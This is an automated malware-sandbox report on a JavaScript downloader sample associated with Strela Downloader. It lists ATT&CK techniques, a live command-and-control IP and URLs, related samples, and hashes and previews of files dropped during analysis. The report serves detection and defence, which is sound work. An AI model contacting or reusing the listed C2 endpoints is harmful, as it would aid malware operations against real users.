Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
213526738195689141.js	5%	Virustotal		Browse
213526738195689141.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/log5	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3374473674.0000022ACF400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2148558135.0000022ACF280000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2144809018.000001496B216000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2144706478.000001496B231000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/log5	net.exe, 00000007.00000002.2146784056.000001496B1D8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588138
Start date and time:	2025-01-10 21:47:36 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	213526738195689141.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 3.219.243.226, 3.233.129.217, 52.22.41.97, 52.6.155.20, 162.159.61.3, 172.64.41.3, 2.23.242.162, 199.232.214.172, 23.209.209.135, 2.16.168.107, 2.16.168.105, 13.107.246.45, 4.245.163.56, 23.203.104.175, 20.242.39.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:48:32	API Interceptor	26x Sleep call for process: powershell.exe modified
15:48:36	API Interceptor	1x Sleep call for process: net.exe modified
15:48:37	API Interceptor	2x Sleep call for process: svchost.exe modified
15:48:49	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1026278051441931198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2295888241314542.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16847122831539518647.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	7bAMuw5ono.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	61969293196726215.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1026278051441931198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2295888241314542.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16847122831539518647.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307142419341359
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugv:gJjJGtpTq2yv1AuNZRY3diu8iBVqFN
MD5:	0E4E6840530D37AB57B9F1D47BF61B1C
SHA1:	D168EB958459952CF8B3CFA04F89BAF5F6FF7BA3
SHA-256:	D3B5BBECB39BB228CC62D6711C0134615EEA2068BCF3412474346522F5FD6B92
SHA-512:	C2F7606E40AFE94299EA1B3AFDEB3D289C13DEA051CE8FB4628C3272E23CF905FFB04B19A37B720B300978F1F4527AF1A36025D12AA170B536E5C6AB2AAB63A1
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x8b539919, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585794538744755
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Raza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	2AAB92FA5F900E6BBC2DD66536528137
SHA1:	29AEEFAE45162A1B6042D22AE324B357CF54D3FD
SHA-256:	E002DC61B7FD418B7E9C5C3A57FE76A20A6BF7520AB1B0ADB4AB69AB644AF764
SHA-512:	5A50BCECF4F5FB6E9017A9036D5CF1C09898D701B09E03FE392B031D7F03228B51999C033CF013E5C82EE9BDF4B731C8AAF5368E52F7B7C8CBD057CF6A8EBD8C
Malicious:	false
Preview:	.S..... ...............X\...;...{......................0.z..........{..%0...}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................]...%0...}..................0v[.%0...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08126678187514216
Encrypted:	false
SSDEEP:	3:5AmtyYe3LRYtGuAJkhvekl1MwpkzollrekGltll/SPj:iz3NYtrxlizUJe3l
MD5:	BACE25C9910A19AF91B0360F9AFD6A62
SHA1:	DE3C2E6B666D3D747CFBF3C8F134DA3F9A2FCCD4
SHA-256:	CD1FD714EA2499768610E752F5A79C8EA3743CA5BC1A061FE62A8300BC7D5FB0
SHA-512:	EA63B232AB6EAF5A2F4E9E09A549F71048D291420840D614BC5958EA65F67EAC8663AFD56AA4231D37C54B77DB1C4B322C9A448AED1894C9228E7B68D9E20227
Malicious:	false
Preview:	.q<.....................................;...{..%0...}.......{...............{.......{...XL......{..................0v[.%0...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.220435073741821
Encrypted:	false
SSDEEP:	6:iO4Ulyq2P92nKuAl9OmbnIFUtSUYK1ZmwsUqHRkwO92nKuAl9OmbjLJ:7hlyv4HAahFUtLH/1qHR5LHAaSJ
MD5:	F1A9220B31A16DF5C84490C70E05AFBC
SHA1:	E170B5DFB1E83F0C346D8E5FF76372247DFE03A2
SHA-256:	F8389C3CD31AEC800220CD2675FD7A1C552CE85223BE365E706B66E9FA7BA0B8
SHA-512:	10ED5F1DB5CB4A7F6B6F204743B18044644EBCFF68A222D6503FC4D304077A6DD3AC685866F946F261143CC22EB86C7E1C7958E30D65A689E5780B138D3D56EC
Malicious:	false
Preview:	2025/01/10-15:48:36.951 1850 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:48:36.953 1850 Recovering log #3.2025/01/10-15:48:36.954 1850 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.220435073741821
Encrypted:	false
SSDEEP:	6:iO4Ulyq2P92nKuAl9OmbnIFUtSUYK1ZmwsUqHRkwO92nKuAl9OmbjLJ:7hlyv4HAahFUtLH/1qHR5LHAaSJ
MD5:	F1A9220B31A16DF5C84490C70E05AFBC
SHA1:	E170B5DFB1E83F0C346D8E5FF76372247DFE03A2
SHA-256:	F8389C3CD31AEC800220CD2675FD7A1C552CE85223BE365E706B66E9FA7BA0B8
SHA-512:	10ED5F1DB5CB4A7F6B6F204743B18044644EBCFF68A222D6503FC4D304077A6DD3AC685866F946F261143CC22EB86C7E1C7958E30D65A689E5780B138D3D56EC
Malicious:	false
Preview:	2025/01/10-15:48:36.951 1850 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:48:36.953 1850 Recovering log #3.2025/01/10-15:48:36.954 1850 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.1823175830420976
Encrypted:	false
SSDEEP:	6:iO4U/3VL+q2P92nKuAl9Ombzo2jMGIFUtSU/36aNj1ZmwsU/36aN1LVkwO92nKuA:7h/lyv4HAa8uFUtL/KaX/1/KajR5LHAv
MD5:	BCB6106637E80DEB2D8DF2465550DD93
SHA1:	8C8E736CBF38F0E9C5E19B7C8749B78E61836E53
SHA-256:	A1A867EB4D9C8026A9AC8B54F512E08F1441257520856CF7D39688CBA6A4191E
SHA-512:	D24940AD633346FB4561E82F9B26DFE5E3AB25B2F3C00F1161407D49E77B0F23A4624D4EB22A0701B0C328941AF2B00B95CF474C48513FF5BDB31032B57CB7D1
Malicious:	false
Preview:	2025/01/10-15:48:37.082 c38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:48:37.084 c38 Recovering log #3.2025/01/10-15:48:37.084 c38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.1823175830420976
Encrypted:	false
SSDEEP:	6:iO4U/3VL+q2P92nKuAl9Ombzo2jMGIFUtSU/36aNj1ZmwsU/36aN1LVkwO92nKuA:7h/lyv4HAa8uFUtL/KaX/1/KajR5LHAv
MD5:	BCB6106637E80DEB2D8DF2465550DD93
SHA1:	8C8E736CBF38F0E9C5E19B7C8749B78E61836E53
SHA-256:	A1A867EB4D9C8026A9AC8B54F512E08F1441257520856CF7D39688CBA6A4191E
SHA-512:	D24940AD633346FB4561E82F9B26DFE5E3AB25B2F3C00F1161407D49E77B0F23A4624D4EB22A0701B0C328941AF2B00B95CF474C48513FF5BDB31032B57CB7D1
Malicious:	false
Preview:	2025/01/10-15:48:37.082 c38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:48:37.084 c38 Recovering log #3.2025/01/10-15:48:37.084 c38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047830295492891
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqZ1AxsBdOg2HZcaq3QYiubxnP7E4T3OF+:Y2sRdsUpdMHg3QYhbxP7nbI+
MD5:	84F2B77A93982D3F67D8B06BCB1F17BC
SHA1:	929C727F62DEC9506982B0ADF403916061FD6981
SHA-256:	9BEEB3B340417A17E3EB60DEA5183A2E229FD84AC9C301F3284EEB3E1B38870C
SHA-512:	523B2220A16DB03119EA0AE0BC33608A3BEE6356EB8B85C60C1120CF1FD5174933EC5A3E1C0C3C7B734D95898D3A6EBEC6713224FE48A41EEF8A4A1DAD2A75B0
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381102129465428","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126929},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\dd64f3d2-c3af-4f61-9868-b1b559abde59.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.047830295492891
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqZ1AxsBdOg2HZcaq3QYiubxnP7E4T3OF+:Y2sRdsUpdMHg3QYhbxP7nbI+
MD5:	84F2B77A93982D3F67D8B06BCB1F17BC
SHA1:	929C727F62DEC9506982B0ADF403916061FD6981
SHA-256:	9BEEB3B340417A17E3EB60DEA5183A2E229FD84AC9C301F3284EEB3E1B38870C
SHA-512:	523B2220A16DB03119EA0AE0BC33608A3BEE6356EB8B85C60C1120CF1FD5174933EC5A3E1C0C3C7B734D95898D3A6EBEC6713224FE48A41EEF8A4A1DAD2A75B0
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381102129465428","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126929},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.237391531543861
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUVcSBKJ:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLJ
MD5:	D721DE8DA33AC82FB54B5D12D2B5447A
SHA1:	B4CDC100384998AA3F0E4E16C44F06915046F785
SHA-256:	1A13AEFE91CAFB6B67F51A065FF6A56089E5FA6B0FD77335C8415665B09241A3
SHA-512:	B6ABF7F943FB0F59901177F3F6975FB6937A22F81095B9EFD529CD00E38220E0EB0502CEF4870CF7A09BE4E03288D76CBDE70500EF01F297417B0EE9CB4A08A0
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.1860597507802835
Encrypted:	false
SSDEEP:	6:iO4U/I9FlL+q2P92nKuAl9OmbzNMxIFUtSU/LHz1ZmwsU/ULVkwO92nKuAl9Ombg:7h/I9jyv4HAa8jFUtL/rZ/1/UR5LHAab
MD5:	85AB170A491BCB9399700A4FD83BA8BD
SHA1:	2564CF7479E93E4DA489376690C9A3E9E09C65CC
SHA-256:	273D0CAD624D76695B824D43104310E66C488F09FD41E5C7A59A7DED266432D7
SHA-512:	EF912C6F5708ED79A7B0C9CC695FCE806172F96897F688C7B5D7FFA598186C79F180AD4B621A74CC883167419E677526A56FD82EC1B152C4006F5CCA94580A10
Malicious:	false
Preview:	2025/01/10-15:48:37.328 c38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:48:37.330 c38 Recovering log #3.2025/01/10-15:48:37.331 c38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.1860597507802835
Encrypted:	false
SSDEEP:	6:iO4U/I9FlL+q2P92nKuAl9OmbzNMxIFUtSU/LHz1ZmwsU/ULVkwO92nKuAl9Ombg:7h/I9jyv4HAa8jFUtL/rZ/1/UR5LHAab
MD5:	85AB170A491BCB9399700A4FD83BA8BD
SHA1:	2564CF7479E93E4DA489376690C9A3E9E09C65CC
SHA-256:	273D0CAD624D76695B824D43104310E66C488F09FD41E5C7A59A7DED266432D7
SHA-512:	EF912C6F5708ED79A7B0C9CC695FCE806172F96897F688C7B5D7FFA598186C79F180AD4B621A74CC883167419E677526A56FD82EC1B152C4006F5CCA94580A10
Malicious:	false
Preview:	2025/01/10-15:48:37.328 c38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:48:37.330 c38 Recovering log #3.2025/01/10-15:48:37.331 c38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
